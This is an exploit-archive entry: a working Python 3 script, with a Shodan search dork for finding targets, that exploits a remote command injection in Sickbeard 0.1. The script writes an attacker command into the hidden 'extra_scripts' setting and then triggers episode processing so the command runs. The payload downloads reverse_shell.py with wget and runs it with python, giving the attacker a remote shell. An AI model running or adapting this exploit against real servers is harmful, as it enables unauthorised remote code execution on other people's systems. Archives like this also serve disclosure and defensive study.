Sickbeard version 0.1 suffers from a remote command injection vulnerability.
ea66fc16bd875615ee5bc4a4f7515da6
# Exploit Title: Sickbeard 0.1 - Remote Command Injection
# Google Dork: https://www.shodan.io/search?query=sickbeard
# Date: 2020-06-06
# Exploit Author: bdrake
# Vendor Homepage: https://sickbeard.com/
# Software Link: https://github.com/midgetspy/Sick-Beard
# Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121
# Tested on: Fedora 32
# CVE : NA
#!/usr/bin/env python3
import requests
import sys
HOST = 'http://localhost:8081/'
# path to local video for processing
# see HOST + home/postprocess
PROCESS_DIR = '/directory/changeme'
# Auth is disabled on default installation
USERNAME = ''
PASSWORD = ''
# see "Extra Scripts" field. HOST + config/hidden/
# multiple commands can be entered separated by '|'
CMD = 'wget -t 2 -T 1 -O /tmp/reverse_shell.py http://localhost/reverse_shell.py | python /tmp/reverse_shell.py'
def post_request(url, data):
try:
requests.post(url=url, data=data, auth=(USERNAME, PASSWORD))
except requests.exceptions.RequestException as e:
print(repr(e))
sys.exit(1)
def set_extra_scripts():
data = {
'anon_redirect': 'http://dereferer.org/?',
'display_all_seasons': 'on',
'git_path': '',
'extra_scripts': CMD
}
post_request(HOST+'config/hidden/saveHidden', data)
def process_episode():
data = {
'dir': PROCESS_DIR,
'method': 'Manual',
'force_replace': 'on'
}
post_request(HOST+'home/postprocess/processEpisode', data)
def main():
try:
print('setting scripts...')
set_extra_scripts()
print('processing episode. might take a few seconds...')
process_episode()
except KeyboardInterrupt:
print('exit...')
if __name__ == '__main__':
main()